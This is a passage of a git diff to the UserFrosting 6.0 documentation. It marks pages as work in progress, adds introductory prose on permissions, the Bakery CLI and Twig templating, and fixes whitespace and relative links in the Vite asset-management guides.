-obsolete: true
+wip: true
 ---
 
+Authenticating users (knowing who they are) is only half the battle. The harder question is: **what should each user be allowed to do?** Not every user should access administrative features, delete data, or view sensitive information. Without proper authorization, your application becomes either a security hole (everyone can do everything) or a maintenance nightmare (hardcoded permissions scattered everywhere).
+
+UserFrosting solves this with a powerful, flexible **role-based access control (RBAC)** system. But it goes beyond simple RBAC—UserFrosting adds **conditional permissions** that let you define rules like "users can edit their own posts" or "managers can approve requests in their department." This gives you fine-grained control without drowning in complexity.
+
+This page explains how roles and permissions work, how to perform access checks in your code, and how to create sophisticated permission rules that adapt to your application's needs.
+
 ## Roles
 
 UserFrosting implements an extended version of [role-based access control](https://en.wikipedia.org/wiki/Role-based_access_control), which allows for very fine-grained control over user permissions. Every user can have zero or more **roles**, and every role can have zero or more **permissions**. Users' effective permissions are determined through their roles.
@@ -126,7 +132,7 @@ UserFrosting ships with a number of predefined access condition callbacks, which
 
 ### Custom callbacks
 
-To add your own access condition callbacks, simply extend `UserFrosting\Sprinkle\Account\Authorize\AccessConditions` and replace it in a custom Service Provider. For example : 
+To add your own access condition callbacks, simply extend `UserFrosting\Sprinkle\Account\Authorize\AccessConditions` and replace it in a custom Service Provider. For example :
 
 ```php
 use UserFrosting\ServicesProvider\ServicesProviderInterface;
@@ -146,7 +152,7 @@ final class CustomAccessConditionsService implements ServicesProviderInterface
 }
 ```
 <!-- TODO : Requires update in Account Sprinkle (UserFrosting\Sprinkle\Account\Authorize\AccessConditions) -->
-<!-- 
+<!--
 Alternatively, to add your own access condition callbacks, simply [decorate](dependency-injection/extending-services) the `AccessConditions` service:
 
 ```php
diff --git a/app/pages/6.0/10.users/03.groups/docs.md b/app/pages/6.0/10.users/03.groups/docs.md
index 1bf10a07..14f3a519 100644
--- a/app/pages/6.0/10.users/03.groups/docs.md
+++ b/app/pages/6.0/10.users/03.groups/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Groups
 description: Unlike roles, which assign specific sets of permissions to users, user groups allow you to horizontally partition your users.
-obsolete: true
+wip: true
 ---
 
 Every user can belong to **exactly one group**. Groups are used to horizontally partition your users - for example, if you have offices in Baltimore, London, and Munich, you might want to group your users according to which office they are in. Group membership can be used to broadly determine styling, layout, or access control for all users in the group.
diff --git a/app/pages/6.0/10.users/04.activity-logging/docs.md b/app/pages/6.0/10.users/04.activity-logging/docs.md
index 741f7479..14d34e04 100644
--- a/app/pages/6.0/10.users/04.activity-logging/docs.md
+++ b/app/pages/6.0/10.users/04.activity-logging/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Activity Logging
 description: The activity logger allows you to capture and log user activities. By default this information is sent to the database, but you can use Monolog to customize how this information is stored - even having critical activity alerts sent to an administrator!
-obsolete: true
+wip: true
 ---
 
 By default, user activities are logged to the `activities` database table. Logged information includes the activity time and an activity type, the `user_id`, the user's IP address, and a description of the activity. The administrative interface provides convenient tables for viewing these logs:
diff --git a/app/pages/6.0/10.users/chapter.md b/app/pages/6.0/10.users/chapter.md
index 61780b22..9b8d3b7c 100644
--- a/app/pages/6.0/10.users/chapter.md
+++ b/app/pages/6.0/10.users/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Users
 description: In this chapter, you'll learn about the various user account features that come built-in and fully implemented in UserFrosting.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 10
diff --git a/app/pages/6.0/11.cli/01.commands/docs.md b/app/pages/6.0/11.cli/01.commands/docs.md
index 3c525213..232cd857 100644
--- a/app/pages/6.0/11.cli/01.commands/docs.md
+++ b/app/pages/6.0/11.cli/01.commands/docs.md
@@ -1,10 +1,18 @@
 ---
 title: Built-in Commands
-description: An overview of the commands available in Bakery.
-obsolete: true
+description: An overview of the commands available in Bakery, UserFrosting's powerful CLI tool.
+wip: true
 ---
 
-UserFrosting's CLI, or [*Command-line Interface*](https://en.wikipedia.org/wiki/Command-line_interface), is called the **Bakery**. It provides a number of helpful commands that can assist you while you build, manage, and install your application. To view a list of all available Bakery commands, you may use the `list` command from your UserFrosting root directory:
+Web applications need more than just a web interface. You need to run database migrations, clear caches, seed test data, build assets, and perform maintenance tasks. Doing these through a browser is awkward at best. Command-line tools are perfect for these tasks—fast, automatable, and scriptable.
+
+UserFrosting provides **Bakery**, a powerful CLI (Command-Line Interface) that handles installation, maintenance, and development tasks. Need to set up your database? `php bakery bake`. Need to clear caches? `php bakery clear:cache`. Bakery makes these common tasks simple and consistent.
+
+This page documents all built-in Bakery commands, their options, and when to use them.
+
+## Using Bakery
+
+UserFrosting's CLI is called the **Bakery**. It provides helpful commands that assist you while you build, manage, and install your application. To view a list of all available Bakery commands, you may use the `list` command from your UserFrosting root directory:
 
 ```bash
 $ php bakery list
@@ -287,7 +295,7 @@ $ php bakery migrate:rollback [options]
 
 ### migrate:reset
 
-The `migrate:reset` command is the same as the _rollback_ command, but it will revert **every** migration. Without options, this is the same as wiping the database to a clean state. 
+The `migrate:reset` command is the same as the _rollback_ command, but it will revert **every** migration. Without options, this is the same as wiping the database to a clean state.
 
 > [!WARNING]
 > **Use this command with caution!**
@@ -517,19 +525,19 @@ $ php bakery sprinkle:list
 
 Example result:
 
-```txt 
+```txt
  Loaded Sprinkles
 ================
 
- ------------------ --------------------------------------- ---------------------------------------------------------------------- 
-  Sprinkle           Namespace                               Path                                                                
- ------------------ --------------------------------------- ---------------------------------------------------------------------- 
-  Core Sprinkle      UserFrosting\Sprinkle\Core\Core         /home/UserFrosting/vendor/userfrosting/sprinkle-core/app/src/../     
-  Account Sprinkle   UserFrosting\Sprinkle\Account\Account   /home/UserFrosting/vendor/userfrosting/sprinkle-account/app/src/../  
-  AdminLTE Theme     UserFrosting\Theme\AdminLTE\AdminLTE    /home/UserFrosting/vendor/userfrosting/theme-adminlte/app/src/../    
-  Admin Sprinkle     UserFrosting\Sprinkle\Admin\Admin       /home/UserFrosting/vendor/userfrosting/sprinkle-admin/app/src/../    
-  My Application     UserFrosting\App\MyApp                  /home/UserFrosting/app/src/../                                       
- ------------------ --------------------------------------- ---------------------------------------------------------------------- 
+ ------------------ --------------------------------------- ----------------------------------------------------------------------
+  Sprinkle           Namespace                               Path
+ ------------------ --------------------------------------- ----------------------------------------------------------------------
+  Core Sprinkle      UserFrosting\Sprinkle\Core\Core         /home/UserFrosting/vendor/userfrosting/sprinkle-core/app/src/../
+  Account Sprinkle   UserFrosting\Sprinkle\Account\Account   /home/UserFrosting/vendor/userfrosting/sprinkle-account/app/src/../
+  AdminLTE Theme     UserFrosting\Theme\AdminLTE\AdminLTE    /home/UserFrosting/vendor/userfrosting/theme-adminlte/app/src/../
+  Admin Sprinkle     UserFrosting\Sprinkle\Admin\Admin       /home/UserFrosting/vendor/userfrosting/sprinkle-admin/app/src/../
+  My Application     UserFrosting\App\MyApp                  /home/UserFrosting/app/src/../
+ ------------------ --------------------------------------- ----------------------------------------------------------------------
 ```
 
 
diff --git a/app/pages/6.0/11.cli/02.custom-commands/docs.md b/app/pages/6.0/11.cli/02.custom-commands/docs.md
index 7a0c4cb8..2d472cfc 100644
--- a/app/pages/6.0/11.cli/02.custom-commands/docs.md
+++ b/app/pages/6.0/11.cli/02.custom-commands/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Custom Commands
 description: You may extend the UserFrosting\System\Bakery\BaseCommand class to implement your own CLI commands that can be run through Bakery.
-obsolete: true
+wip: true
 ---
 
 While the Bakery CLI tool comes with great built-in commands, your sprinkles can also take advantage of the Bakery by adding their own cli commands.
@@ -79,7 +79,7 @@ Now, you simply need to register your command in your [Sprinkle Recipe](sprinkle
 
 namespace UserFrosting\App;
 
-// ... 
+// ...
 use UserFrosting\App\Bakery\HelloCommand; // <-- Add this
 // ...
 use UserFrosting\Sprinkle\BakeryRecipe; // <-- Add this
@@ -99,7 +99,7 @@ class MyApp implements
         ];
     }
     //<--
-    
+
     // ...
 }
 
@@ -117,6 +117,6 @@ $ php bakery hello
 Hello !
 =======
 
- [OK] Hello world                                                                                                       
-                                                                                                                        
+ [OK] Hello world
+
 ```
diff --git a/app/pages/6.0/11.cli/03.extending-commands/docs.md b/app/pages/6.0/11.cli/03.extending-commands/docs.md
index fd9c38c1..50797464 100644
--- a/app/pages/6.0/11.cli/03.extending-commands/docs.md
+++ b/app/pages/6.0/11.cli/03.extending-commands/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Extending Aggregator Commands
 description: You may add custom sub-commands to the bake, setup, and debug commands through events.
-obsolete: true
+wip: true
 ---
 
 *Aggregator commands* is a fancy term to identify core bakery commands that just run multiple sub-commands in one operation. UserFrosting uses 3 of those special commands:
@@ -10,7 +10,7 @@ obsolete: true
 2. [setup](cli/commands#setup)
 3. [debug](cli/commands#debug)
 
-Those commands are typically used as "installation" steps. It this situation, it's much more simpler to run one command than multiple ones. You can easily add your own command(s) to any of these aggregators using [event listeners](advanced/events#listener). 
+Those commands are typically used as "installation" steps. It this situation, it's much more simpler to run one command than multiple ones. You can easily add your own command(s) to any of these aggregators using [event listeners](advanced/events#listener).
 
 ## Adding Custom Commands to the `bake` command
 
@@ -42,7 +42,7 @@ The [`bake` command](cli/commands#bake) combines many CLI commands into one and
 
     namespace UserFrosting\App;
 
-    // ... 
+    // ...
     use UserFrosting\Event\EventListenerRecipe; // <-- Add this
     use UserFrosting\App\Bakery\BakeCommandListener; // <-- Add this
     // ...
@@ -63,17 +63,17 @@ The [`bake` command](cli/commands#bake) combines many CLI commands into one and
             ];
         }
         //<--
-        
+
         // ...
     }
     ```
 
-In the recipe, you're telling UserFrosting to execute `BakeCommandListener` when the `BakeCommandEvent` is fired by the UserFrosting event dispatcher. The listener itself isn't required to implement any interface. It simply needs to be callable, which the [`__invoke()`](https://www.php.net/manual/en/language.oop5.magic.php#object.invoke) magic method enables. This method accepts a single argument, which will be the event itself. 
+In the recipe, you're telling UserFrosting to execute `BakeCommandListener` when the `BakeCommandEvent` is fired by the UserFrosting event dispatcher. The listener itself isn't required to implement any interface. It simply needs to be callable, which the [`__invoke()`](https://www.php.net/manual/en/language.oop5.magic.php#object.invoke) magic method enables. This method accepts a single argument, which will be the event itself.
 
 > [!TIP]
 > A single listener can handle multiple events. The or (`|`) syntax can be used to type-hint against multiple event classes, or type-hinting can be omitted, or in this case the parent `AbstractAggregateCommandEvent` can be used to type-hint.
 
-The event listener uses `$event->addCommand('hello');` to add the "hello" command to the event. The command is passed by its name as a string, not the class itself. This method will add the hello command to the end of the list of commands which "bake" will run. Other public methods exist on `$event` to place the command exactly where you need it: 
+The event listener uses `$event->addCommand('hello');` to add the "hello" command to the event. The command is passed by its name as a string, not the class itself. This method will add the hello command to the end of the list of commands which "bake" will run. Other public methods exist on `$event` to place the command exactly where you need it:
 
 | Command                        | Description                                          |
 | ------------------------------ | ---------------------------------------------------- |
diff --git a/app/pages/6.0/11.cli/chapter.md b/app/pages/6.0/11.cli/chapter.md
index 4d3df1ff..51e8178e 100644
--- a/app/pages/6.0/11.cli/chapter.md
+++ b/app/pages/6.0/11.cli/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Bakery CLI
 description: Bakery is UserFrosting's very own command line interface (CLI) tool.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 11
diff --git a/app/pages/6.0/12.templating-with-twig/01.overview/docs.md b/app/pages/6.0/12.templating-with-twig/01.overview/docs.md
index 43ca4b77..d7e86dc2 100644
--- a/app/pages/6.0/12.templating-with-twig/01.overview/docs.md
+++ b/app/pages/6.0/12.templating-with-twig/01.overview/docs.md
@@ -1,10 +1,18 @@
 ---
 title: Why use Twig?
 description: UserFrosting uses the extremely popular Twig templating engine to facilitate clean separation between content and logic in your application.
-obsolete: true
+wip: true
 ---
 
-Twig is a [templating engine](http://twig.sensiolabs.org/), which is designed to help maintain a clean separation between your application's logic and its content.
+Remember the spaghetti code problem from [Chapter 8](routes-and-controllers/introduction)? HTML mixed with PHP logic, `echo` statements building markup, database queries intermingled with presentation—it's a maintenance nightmare. Changing the design means wading through PHP code. Testing becomes nearly impossible. Security vulnerabilities like XSS attacks lurk in every string interpolation.
+
+**Twig** solves this by cleanly separating your HTML templates from your PHP logic. Twig is a templating engine that gives you a simple, secure syntax for displaying data, looping through collections, and building layouts—all while automatically escaping output to prevent XSS attacks. Your PHP code stays in controllers and models where it belongs; your HTML stays in beautiful, readable template files.
+
+The result? Designers can work on templates without touching PHP. Developers can change logic without breaking layouts. Security is built-in. Code becomes testable. Everyone's happier.
+
+This page introduces Twig's benefits and shows you why templating engines matter for professional applications.
+
+## The Problem with Embedded PHP
 
 If you recall the spaghetti code example from [Chapter 8](routes-and-controllers/introduction):
 
diff --git a/app/pages/6.0/12.templating-with-twig/02.sprinkle-templates/docs.md b/app/pages/6.0/12.templating-with-twig/02.sprinkle-templates/docs.md
index cd91d71a..b941c0bd 100644
--- a/app/pages/6.0/12.templating-with-twig/02.sprinkle-templates/docs.md
+++ b/app/pages/6.0/12.templating-with-twig/02.sprinkle-templates/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Sprinkle Templates
 description: ""
-obsolete: true
+wip: true
 ---
 
 ## Template organization
diff --git a/app/pages/6.0/12.templating-with-twig/03.filters-and-functions/docs.md b/app/pages/6.0/12.templating-with-twig/03.filters-and-functions/docs.md
index 096083d4..f6ecab29 100644
--- a/app/pages/6.0/12.templating-with-twig/03.filters-and-functions/docs.md
+++ b/app/pages/6.0/12.templating-with-twig/03.filters-and-functions/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Twig Filters and Functions
 description: ""
-obsolete: true
+wip: true
 ---
 
 ### config
@@ -64,7 +64,7 @@ class Extension extends AbstractExtension implements GlobalsInterface
 {
     /**
      * Inject required services.
-     * 
+     *
      * @param Config $config The config service
      */
     public function __construct(
@@ -110,7 +110,7 @@ class Core implements
             Extension::class,
         ];
     }
-    
+
     // ...
 }
 ```
diff --git a/app/pages/6.0/12.templating-with-twig/chapter.md b/app/pages/6.0/12.templating-with-twig/chapter.md
index 640005c0..4ce6ce1d 100644
--- a/app/pages/6.0/12.templating-with-twig/chapter.md
+++ b/app/pages/6.0/12.templating-with-twig/chapter.md
@@ -1,11 +1,15 @@
 ---
 title: Pages and Twig Templating
-description: A web page is a synthesis of HTML, CSS, Javascript, and other types of media.  UserFrosting uses the powerful Twig templating engine to render web pages.
-obsolete: true
+description: A web page is a synthesis of HTML, CSS, Javascript, and other types of media. UserFrosting uses the powerful Twig templating engine to render web pages.
+wip: true
 ---
 
 #### Chapter 12
 
 # Pages and Twig Templating
 
-In this chapter, we discuss how to use the powerful Twig templating engine to cleanly separate the content of your web pages from the logic.
+Building web pages by mixing PHP logic and HTML markup in the same file creates unreadable, unmaintainable code. You end up with security risks (like XSS vulnerabilities), difficulty in collaborating with designers, and code that's nearly impossible to test.
+
+UserFrosting uses **Twig**, a powerful templating engine that cleanly separates your presentation (HTML) from your application logic (PHP). Twig provides a simple, secure syntax for displaying data, building layouts, and composing reusable template components—all while automatically escaping output to prevent security issues.
+
+This chapter teaches you how to create templates, use Twig's features effectively, organize templates in your sprinkles, and leverage UserFrosting's custom Twig extensions. You'll learn to build beautiful, maintainable page layouts that keep your code clean and secure.
diff --git a/app/pages/6.0/13.asset-management/01.introduction/docs.md b/app/pages/6.0/13.asset-management/01.introduction/docs.md
index 9c399371..83053b43 100644
--- a/app/pages/6.0/13.asset-management/01.introduction/docs.md
+++ b/app/pages/6.0/13.asset-management/01.introduction/docs.md
@@ -20,7 +20,7 @@ Here's what makes Vite special:
 - **Simpler configuration**: Compared to Webpack, Vite's configuration is more intuitive and requires less boilerplate code
 - **Better Vue 3 support**: Vite's official Vue plugin provides optimized handling of Single File Components (`.vue` files)
 
-While Vite is the recommended bundler, UserFrosting 6 maintains backward compatibility with [Webpack Encore](/asset-management/webpack-encore) for existing projects that require it. You're not forced to migrate immediately—you can take your time!
+While Vite is the recommended bundler, UserFrosting 6 maintains backward compatibility with [Webpack Encore](asset-management/webpack-encore) for existing projects that require it. You're not forced to migrate immediately—you can take your time!
 
 ## Asset Workflow Overview
 
@@ -78,4 +78,4 @@ This chapter will guide you through:
 - **Sprinkle Assets**: Managing assets across multiple sprinkles
 - **Migration**: Transitioning from Webpack Encore to Vite
 
-Ready to get started? Continue to the [Getting Started](/asset-management/getting-started) guide.
+Ready to get started? Continue to the [Getting Started](asset-management/getting-started) guide.
diff --git a/app/pages/6.0/13.asset-management/02.getting-started/docs.md b/app/pages/6.0/13.asset-management/02.getting-started/docs.md
index 8a209bb2..8674bfd2 100644
--- a/app/pages/6.0/13.asset-management/02.getting-started/docs.md
+++ b/app/pages/6.0/13.asset-management/02.getting-started/docs.md
@@ -317,7 +317,7 @@ You can add your own scripts for project-specific tasks. For example, you might
 
 ## Managing Dependencies with Bakery
 
-While you can run NPM commands directly, UserFrosting provides convenient [Bakery commands](/cli/commands) that wrap NPM functionality and integrate with your UserFrosting workflow. Think of these as UserFrosting's way of helping you manage frontend dependencies without leaving the PHP environment.
+While you can run NPM commands directly, UserFrosting provides convenient [Bakery commands](cli/commands) that wrap NPM functionality and integrate with your UserFrosting workflow. Think of these as UserFrosting's way of helping you manage frontend dependencies without leaving the PHP environment.
 
 ### Installing Dependencies
 
@@ -390,4 +390,4 @@ You can use either NPM commands or Bakery commands—they accomplish the same go
 
 ## Next Steps
 
-Now that you understand package.json, NPM scripts, and dependency management, learn about [Vite Configuration](/asset-management/vite-configuration) to customize how assets are built and served.
+Now that you understand package.json, NPM scripts, and dependency management, learn about [Vite Configuration](asset-management/vite-configuration) to customize how assets are built and served.
diff --git a/app/pages/6.0/13.asset-management/03.vite-configuration/docs.md b/app/pages/6.0/13.asset-management/03.vite-configuration/docs.md
index c42198b3..36a38a0e 100644
--- a/app/pages/6.0/13.asset-management/03.vite-configuration/docs.md
+++ b/app/pages/6.0/13.asset-management/03.vite-configuration/docs.md
@@ -228,7 +228,7 @@ import AccountSprinkle from '@userfrosting/sprinkle-account'
 app.use(AccountSprinkle, { router })
 ```
 
-Registers UserFrosting's [Sprinkles](/sprinkles)—modular packages that add functionality. Core provides base features, while Account handles user authentication and management. Each sprinkle can register Vue components, routes, and store modules.
+Registers UserFrosting's [Sprinkles](sprinkles)—modular packages that add functionality. Core provides base features, while Account handles user authentication and management. Each sprinkle can register Vue components, routes, and store modules.
 
 ```ts
 /** Setup Theme */
@@ -294,17 +294,17 @@ The Vite integration can be configured in your UserFrosting config file (`app/co
 ```php
 'assets' => [
     'bundler' => env('ASSETS_BUNDLER', 'vite'), // Either 'vite' or 'webpack'
-    
+
     'vite' => [
         // Path to Vite's manifest.json file
         'manifest' => 'assets://.vite/manifest.json',
-        
+
         // Enable development mode (use Vite dev server)
         'dev' => env('VITE_DEV_ENABLED', true),
-        
+
         // Public base path for assets
         'base' => '/assets/',
-        
+
         // Vite development server URL
         'server' => 'http://[::1]:' . env('VITE_PORT', 5173),
     ],
@@ -313,7 +313,7 @@ The Vite integration can be configured in your UserFrosting config file (`app/co
 
 **`manifest`**
 - Path to Vite's build manifest file
-- Uses the [Uniform Resource Locator](/advanced/locator) scheme
+- Uses the [Uniform Resource Locator](advanced/locator) scheme
 - Default: `assets://.vite/manifest.json` resolves to `public/assets/.vite/manifest.json`
 
 **`dev`**
@@ -398,4 +398,4 @@ When using pre-built assets:
 
 ## Next Steps
 
-Now that you understand Vite configuration and entry points, learn about the [Vue Framework](/asset-management/vue-framework) that powers UserFrosting's modern interactive interfaces.
+Now that you understand Vite configuration and entry points, learn about the [Vue Framework](asset-management/vue-framework) that powers UserFrosting's modern interactive interfaces.
diff --git a/app/pages/6.0/13.asset-management/04.vue-framework/docs.md b/app/pages/6.0/13.asset-management/04.vue-framework/docs.md
index f089ccaf..57a9c2e6 100644
--- a/app/pages/6.0/13.asset-management/04.vue-framework/docs.md
+++ b/app/pages/6.0/13.asset-management/04.vue-framework/docs.md
@@ -156,6 +156,6 @@ Don't worry if Vue is new to you—it's designed to be approachable, and the nex
 
 ## Next Steps
 
-Now that you understand Vue's role in UserFrosting, you're ready to learn how to [use assets in your application](/asset-management/using-assets). The next page covers how to reference and load your Vue components, styles, and other assets in UserFrosting's Twig templates.
+Now that you understand Vue's role in UserFrosting, you're ready to learn how to [use assets in your application](asset-management/using-assets). The next page covers how to reference and load your Vue components, styles, and other assets in UserFrosting's Twig templates.
 
-For hands-on Vue development, check out the [Advanced Topics](/asset-management/advanced) section, which covers Vue 3 Single File Components, TypeScript integration, and building complex interactive features.
+For hands-on Vue development, check out the [Advanced Topics](asset-management/advanced) section, which covers Vue 3 Single File Components, TypeScript integration, and building complex interactive features.
diff --git a/app/pages/6.0/13.asset-management/05.using-assets/docs.md b/app/pages/6.0/13.asset-management/05.using-assets/docs.md
index e2e4b03d..ed6c64c7 100644
--- a/app/pages/6.0/13.asset-management/05.using-assets/docs.md
+++ b/app/pages/6.0/13.asset-management/05.using-assets/docs.md
@@ -87,13 +87,13 @@ These blocks are then included in your base template:
 <head>
     <meta charset="utf-8">
     <title>{% block page_title %}{% endblock %}</title>
-    
+
     {# Include stylesheets #}
     {% include 'content/stylesheets_site.html.twig' %}
 </head>
 <body>
     <div id="app"></div>
-    
+
     {# Include scripts at end of body #}
     {% include 'content/scripts_site.html.twig' %}
 </body>
@@ -207,4 +207,4 @@ app/assets/
 
 ## Next Steps
 
-Learn about [Advanced Usage](/asset-management/advanced) including TypeScript, Vue components, preprocessors, and optimization techniques.
+Learn about [Advanced Usage](asset-management/advanced) including TypeScript, Vue components, preprocessors, and optimization techniques.
diff --git a/app/pages/6.0/13.asset-management/06.advanced/01.sprinkle-assets/docs.md b/app/pages/6.0/13.asset-management/06.advanced/01.sprinkle-assets/docs.md
index 6d339778..61bc7b9d 100644
--- a/app/pages/6.0/13.asset-management/06.advanced/01.sprinkle-assets/docs.md
+++ b/app/pages/6.0/13.asset-management/06.advanced/01.sprinkle-assets/docs.md
@@ -1,10 +1,10 @@
 ---
 title: Sprinkle Assets
 description: Managing assets across multiple sprinkles in UserFrosting, including creating asset bundles and sharing code between sprinkles.
-wip: true
+# Verified for UF 6.0
 ---
 
-One of UserFrosting's most powerful features is its [Sprinkle system](/structure/sprinkles)—a way to organize your application into modular, reusable packages. Each sprinkle can have its own assets, and these assets can be shared across your application. This is perfect for building reusable components, creating themes, or organizing large applications into manageable pieces.
+One of UserFrosting's most powerful features is its [Sprinkle system](structure/sprinkles)—a way to organize your application into modular, reusable packages. Each sprinkle can have its own assets, and these assets can be shared across your application. This is perfect for building reusable components, creating themes, or organizing large applications into manageable pieces.
 
 ## Multi-Sprinkle Architecture
 
@@ -223,10 +223,10 @@ export default {
     install: (app: App) => {
         // Setup axios interceptors
         useAxiosInterceptor()
-        
+
         // Load configuration
         useConfigStore().load()
-        
+
         // Setup translator
         const translator = useTranslator()
         translator.load()
@@ -399,4 +399,4 @@ npm install /path/to/my-sprinkle
 
 ## Next Steps
 
-Learn how to [migrate from Webpack Encore](/asset-management/migration) if you have an existing UserFrosting 5 project, or explore the [Sprinkle System](/structure/sprinkles) in more depth.
+Learn how to [migrate from Webpack Encore](asset-management/migration) if you have an existing UserFrosting 5 project, or explore the [Sprinkle System](structure/sprinkles) in more depth.
diff --git a/app/pages/6.0/13.asset-management/06.advanced/02.migration/docs.md b/app/pages/6.0/13.asset-management/06.advanced/02.migration/docs.md
index 5a990585..39139dc2 100644
--- a/app/pages/6.0/13.asset-management/06.advanced/02.migration/docs.md
+++ b/app/pages/6.0/13.asset-management/06.advanced/02.migration/docs.md
@@ -126,7 +126,7 @@ Modify `app/config/default.php`:
 'assets' => [
     // Change bundler from 'webpack' to 'vite'
     'bundler' => env('ASSETS_BUNDLER', 'vite'),
-    
+
     // Add/update Vite configuration
     'vite' => [
         'manifest' => 'assets://.vite/manifest.json',
@@ -430,4 +430,4 @@ After migrating to Vite:
 
 4. **Optimize your Vite configuration** based on your needs
 
-Explore the [Vite Configuration](/asset-management/vite-configuration) guide to learn more about Vite configuration, or jump to [Advanced Usage](/asset-management/advanced) for optimization techniques.
+Explore the [Vite Configuration](asset-management/vite-configuration) guide to learn more about Vite configuration, or jump to [Advanced Usage](asset-management/advanced) for optimization techniques.
diff --git a/app/pages/6.0/13.asset-management/06.advanced/docs.md b/app/pages/6.0/13.asset-management/06.advanced/docs.md
index d4ef1696..993785f5 100644
--- a/app/pages/6.0/13.asset-management/06.advanced/docs.md
+++ b/app/pages/6.0/13.asset-management/06.advanced/docs.md
@@ -118,11 +118,11 @@ function toggleExpanded() {
     border: 1px solid #ddd;
     border-radius: 4px;
     cursor: pointer;
-    
+
     &:hover {
         background: #f5f5f5;
     }
-    
+
     h3 {
         margin: 0 0 0.5rem 0;
     }
@@ -201,11 +201,11 @@ export const useUserStore = defineStore('user', {
         currentUser: null as User | null,
         isLoading: false
     }),
-    
+
     getters: {
         isAuthenticated: (state) => state.currentUser !== null
     },
-    
+
     actions: {
         async fetchCurrentUser() {
             this.isLoading = true
@@ -244,7 +244,7 @@ npm install -D less
 // Custom styles
 .custom-container {
     padding: @global-margin;
-    
+
     h1 {
         color: @global-primary-background;
     }
@@ -265,7 +265,7 @@ $primary-color: #0066cc;
 
 .button {
     background: $primary-color;
-    
+
     &:hover {
         background: darken($primary-color, 10%);
     }
@@ -273,8 +273,8 @@ $primary-color: #0066cc;
 ```
 
 > [!WARNING]
-> UserFrosting uses **Less** as its default CSS preprocessor for the default theme. If you choose to use SASS/SCSS instead, you will not be able to easily customize or extend the default theme's styles, as the theme's variables and mixins are written in Less. Consider this trade-off when choosing your preprocessor. 
+> UserFrosting uses **Less** as its default CSS preprocessor for the default theme. If you choose to use SASS/SCSS instead, you will not be able to easily customize or extend the default theme's styles, as the theme's variables and mixins are written in Less. Consider this trade-off when choosing your preprocessor.
 
 ## Next Steps
 
-Learn about managing assets across [multiple sprinkles](/asset-management/sprinkle-assets) or how to [migrate from Webpack](/asset-management/migration).
+Learn about managing assets across [multiple sprinkles](asset-management/sprinkle-assets) or how to [migrate from Webpack](asset-management/migration).
diff --git a/app/pages/6.0/13.asset-management/07.webpack-encore/01.basic-usage/docs.md b/app/pages/6.0/13.asset-management/07.webpack-encore/01.basic-usage/docs.md
index eaef43b2..976f87f2 100644
--- a/app/pages/6.0/13.asset-management/07.webpack-encore/01.basic-usage/docs.md
+++ b/app/pages/6.0/13.asset-management/07.webpack-encore/01.basic-usage/docs.md
@@ -5,11 +5,11 @@ description: Referencing statics assets in your Twig templates.
 
 > [!WARNING]
 > **This documentation is obsolete.** UserFrosting 6 uses **Vite** as the default asset bundler, not Webpack Encore.
-> 
+>
 > Please see:
-> - [Using Assets in Templates](/asset-management/using-assets) for how to include assets with Vite
-> - [Bakery Commands](/asset-management/bakery-commands) for build commands
-> - [Migration Guide](/asset-management/migration) to migrate from Webpack Encore
+> - [Using Assets in Templates](asset-management/using-assets) for how to include assets with Vite
+> - [Bakery Commands](asset-management/bakery-commands) for build commands
+> - [Migration Guide](asset-management/migration) to migrate from Webpack Encore
 
 When a user loads a page of your website in their browser, it includes a number of `<link ...>`, `<img ...>`, `<script ...>` and other tags that tell their browser how to fetch these additional resources from the server. Since the client must issue a separate request to retrieve an asset after loading a page, we need a way to generate asset URLs in our templates. To automatically build a url for a single asset in a Twig template, you may use the `asset()` helper. This helper takes a file path to an asset, and generates an appropriate absolute url:
 
@@ -17,7 +17,7 @@ When a user loads a page of your website in their browser, it includes a number
 <img src="{{ asset('assets/images/barn-owl.jpg') }}">
 ```
 
-You'll notice that we reference the file path with abstraction of where it is actually located within the filesystem, if it's a node dependency, or which sprinkle defines it. Instead, when we refer to an asset using the path `assets/images/barn-owl.jpg`, we give a reference relative to the `public/` directory. 
+You'll notice that we reference the file path with abstraction of where it is actually located within the filesystem, if it's a node dependency, or which sprinkle defines it. Instead, when we refer to an asset using the path `assets/images/barn-owl.jpg`, we give a reference relative to the `public/` directory.
 
 The assets building process will compile or copy assets inside the `public/assets/images` folder by default and UserFrosting will use a special manifest file generated at build time to pin-point where the requested file is located.
 
@@ -25,7 +25,7 @@ If you need to copy other static assets from outside of a JavaScript file that's
 
 **webpack.config.js**
 ```js
-Encore 
+Encore
     // Copy images
     .copyFiles({ from: './app/assets/images', to: 'images/[path][name].[hash:8].[ext]' })
     // Copy other assets
diff --git a/app/pages/6.0/13.asset-management/07.webpack-encore/02.asset-bundles/docs.md b/app/pages/6.0/13.asset-management/07.webpack-encore/02.asset-bundles/docs.md
index 3d82c39b..46e00f1f 100644
--- a/app/pages/6.0/13.asset-management/07.webpack-encore/02.asset-bundles/docs.md
+++ b/app/pages/6.0/13.asset-management/07.webpack-encore/02.asset-bundles/docs.md
@@ -5,17 +5,17 @@ description: Entrypoints bundles allow you to group one or more asset references
 
 > [!WARNING]
 > **This documentation is obsolete.** UserFrosting 6 uses **Vite** as the default asset bundler, not Webpack Encore.
-> 
+>
 > Please see:
-> - [Sprinkle Assets](/asset-management/sprinkle-assets) for multi-sprinkle asset architecture
-> - [Advanced Usage](/asset-management/advanced) for code splitting and optimization
-> - [Migration Guide](/asset-management/migration) to migrate from Webpack Encore
+> - [Sprinkle Assets](asset-management/sprinkle-assets) for multi-sprinkle asset architecture
+> - [Advanced Usage](asset-management/advanced) for code splitting and optimization
+> - [Migration Guide](asset-management/migration) to migrate from Webpack Encore
 
-Most CSS and Javascript resources should be integrated into your pages through **entrypoints**. Entrypoints defines groups of assets for which UserFrosting can automatically render `<link>` or `<script>` tags in your pages. 
+Most CSS and Javascript resources should be integrated into your pages through **entrypoints**. Entrypoints defines groups of assets for which UserFrosting can automatically render `<link>` or `<script>` tags in your pages.
 
 ## Concept
 
